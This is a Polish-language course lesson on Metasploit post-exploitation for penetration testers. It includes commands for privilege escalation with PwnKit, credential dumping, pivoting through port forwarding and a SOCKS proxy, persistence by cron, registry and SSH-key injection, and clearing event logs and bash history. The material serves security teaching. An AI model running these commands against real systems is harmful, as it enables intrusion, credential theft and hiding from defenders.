Po uzyskaniu dostępu: pivoting i utrzymanie dostępu
Wykorzystają Państwo moduły post Metasploit do eskalacji uprawnień, wykradania danych uwierzytelniających i utrzymania dostępu.
Po uzyskaniu dostępu: pivoting i utrzymanie dostępu to bezpłatna lekcja Cyber Security Academy na CoddyKit. To lekcja 4 z 4. Możesz przeczytać całą lekcję poniżej za darmo — a potem ćwiczyć ją interaktywnie w przeglądarce z wbudowanym edytorem kodu i tutorem AI dostępnym 24/7. To część ścieżki edukacyjnej Cyber Security Academy, a Twój postęp synchronizuje się między webem a aplikacją CoddyKit. Kurs Cyber Security Academy zawiera 4 lekcji w sumie.
Cele działań po uzyskaniu dostępu
Po uzyskaniu początkowego dostępu atakujący dążą do: podniesienia uprawnień, zebrania informacji, utrzymania trwałego dostępu oraz poruszania się lateralnego w celu dotarcia do właściwego celu (danych, systemów lub kontroli nad domeną).
Świadomość sytuacyjna
Pierwsze kroki po uzyskaniu powłoki: zrozum, gdzie się znajdujesz. Zbierz informacje o systemie, konfiguracji sieci, uprawnieniach bieżącego użytkownika, uruchomionych procesach i zmiennych środowiskowych.
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid
meterpreter > run post/multi/recon/local_exploit_suggester
meterpreter > run post/linux/gather/enum_systemPodnoszenie uprawnień
Lokalne podnoszenie uprawnień polega na przejściu z powłoki o niskich uprawnieniach do uprawnień root/SYSTEM. local_exploit_suggester w Metasploit identyfikuje odpowiednie exploity jądra i lokalne exploity na podstawie wersji systemu operacyjnego celu.
meterpreter > run post/multi/recon/local_exploit_suggester
# Identifies applicable exploits
# Then:
msf6 > use exploit/linux/local/cve_2021_4034_pwnkit
msf6 > set SESSION 1
msf6 > runPozyskiwanie danych uwierzytelniających
Zbieraj dane uwierzytelniające: hasła w postaci skrótów, dane uwierzytelniające w postaci jawnego tekstu zapisane w plikach konfiguracyjnych, zapisane hasła przeglądarki oraz klucze SSH. Umożliwiają one poruszanie się lateralne i utrzymanie dostępu.
meterpreter > run post/linux/gather/hashdump
meterpreter > run post/windows/gather/credentials/credential_collector
meterpreter > run post/multi/gather/ssh_creds
# Check env vars for cleartext creds:
meterpreter > run post/multi/gather/envPivoting: przekierowanie portów
Pivoting wykorzystuje przejęty host jako pomost do odizolowanych sieci wewnętrznych. portfwd w Metasploit tworzy lokalne przekierowania portów przez sesję Meterpreter.
# Forward local port 3306 to internal DB
meterpreter > portfwd add -l 3306 -p 3306 -r 10.10.10.20
# Now connect locally:
mysql -h 127.0.0.1 -P 3306 -u rootRouting przez sesje
Moduł route w Metasploit dodaje trasy sieciowe przez sesję, umożliwiając innym modułom dotarcie do sieci dostępnych wyłącznie za pośrednictwem hosta pełniącego funkcję pivotu.
msf6 > route add 10.10.10.0/24 1 # route via session 1
msf6 > route print
# Now run modules targeting 10.10.10.x
# through session 1 as pivotPivoting przez proxy SOCKS
Proxy SOCKS za pośrednictwem Metasploit (lub chisel/ssh -D) umożliwia kierowanie dowolnych narzędzi przez pivot za pomocą proxychains — dzięki temu nmap, curl i przeglądarki mogą docierać do sieci wewnętrznych.
# Set up SOCKS proxy through session
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > set VERSION 5
msf6 > run -j
# Route tools through proxy
proxychains nmap -sT 10.10.10.0/24Mechanizmy utrzymania dostępu
Utrzymanie dostępu zapewnia jego przetrwanie po ponownym uruchomieniu systemu i utracie sesji. Typowe metody to zadania cron (Linux), klucze uruchamiania w rejestrze (Windows), wstrzykiwanie kluczy SSH do pliku authorized_keys oraz instalowanie usług.
# Linux: cron-based persistence
meterpreter > run post/linux/manage/cron_persistence
# Windows: registry
meterpreter > run post/windows/manage/persistence_exe
# SSH key injection
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keysZacieranie śladów
Atakujący czyszczą logi, aby zachować niewykrywalność. Uwaga dotycząca bezpieczeństwa: nowoczesne rozwiązania SIEM i EDR przesyłają logi poza hosta w czasie rzeczywistym — wyczyszczenie lokalnych logów nie usuwa zapisów scentralizowanych.
meterpreter > clearev # clear Windows event logs
# Linux: clear bash history
unset HISTFILE
cat /dev/null > ~/.bash_historyModuły po uzyskaniu dostępu
Metasploit zawiera setki modułów post dla systemów Windows i Linux: do pozyskiwania danych uwierzytelniających, zbierania danych przeglądarki, rejestrowania naciśnięć klawiszy, wykonywania zrzutów ekranu i enumeracji sieci.
msf6 > use post/windows/gather/enum_logged_on_users
msf6 > use post/multi/gather/browser_history
msf6 > use post/windows/gather/screen_spy
msf6 > set SESSION 1
msf6 > runWiedza o tym, kiedy zakończyć działania
W autoryzowanych testach penetracyjnych zakończ działania po osiągnięciu uzgodnionego celu zakresu lub napotkaniu danych, do których nie masz upoważnienia. Dokładnie udokumentuj swoją ścieżkę — jest to łańcuch ataku przedstawiany w raporcie.
Szybki sprawdzian
Co umożliwia polecenie Metasploit "route add"?
Podsumowanie: działania po uzyskaniu dostępu
Działania po uzyskaniu dostępu rozwijają początkowy dostęp, aby osiągnąć rzeczywisty wpływ: podniesienie uprawnień, pozyskanie danych uwierzytelniających, poruszanie się lateralne i utrzymanie dostępu. Metasploit udostępnia moduły post dla każdej z tych faz. Dokumentuj każdy krok — łańcuch ataku od wejścia do celu jest najważniejszym rezultatem testu penetracyjnego.
Często zadawane pytania
Czy lekcja „Po uzyskaniu dostępu: pivoting i utrzymanie dostępu” jest bezpłatna?
Tak — pełny tekst „Po uzyskaniu dostępu: pivoting i utrzymanie dostępu” jest dostępny za darmo tutaj w sieci. Aby ćwiczyć ją interaktywnie (wbudowany edytor kodu i tutor AI dostępny 24/7) i odblokować resztę kursu Cyber Security Academy, przejdź na CoddyKit PRO. Kurs Cyber Security Academy zawiera 4 lekcji w sumie.
Co nauczysz się w „Po uzyskaniu dostępu: pivoting i utrzymanie dostępu”?
Wykorzystają Państwo moduły post Metasploit do eskalacji uprawnień, wykradania danych uwierzytelniających i utrzymania dostępu. Ćwiczysz Cyber Security Academy z praktycznym kodem, który uruchamiasz bezpośrednio w przeglądarce, a tutor AI dostępny 24/7 odpowiada na Twoje pytania podczas pracy nad lekcją.
Czy potrzebuję doświadczenia, aby zacząć Cyber Security Academy?
Nie wymagamy żadnego doświadczenia. Cyber Security Academy w CoddyKit jest strukturyzowany dla początkujących i zaawansowanych użytkowników, więc możesz zacząć tutaj lub od początku i uczyć się w swoim tempie. To lekcja 4 z 4.
Ile czasu zajmuje lekcja „Po uzyskaniu dostępu: pivoting i utrzymanie dostępu”?
Większość lekcji CoddyKit trwa około 5–10 minut. Każda lekcja to mały, interaktywny krok, dzięki czemu robisz systematyczne postępy i zawsze wracasz dokładnie do tego samego miejsca — na webie i w aplikacji.
Czy mogę pisać i uruchamiać kod w tej lekcji Cyber Security Academy?
Tak. Każda lekcja Cyber Security Academy zawiera wbudowany edytor kodu, więc piszesz i uruchamiasz prawdziwy kod bezpośrednio w przeglądarce i od razu otrzymujesz sprzężenie zwrotne od AI — bez konfiguracji na komputerze.
Wszystkie lekcje w tym kursie
- Architektura Metasploit i msfconsole
- Wykorzystanie znanej podatności
- Payloady: staged, stageless i Meterpreter
- Po uzyskaniu dostępu: pivoting i utrzymanie dostępu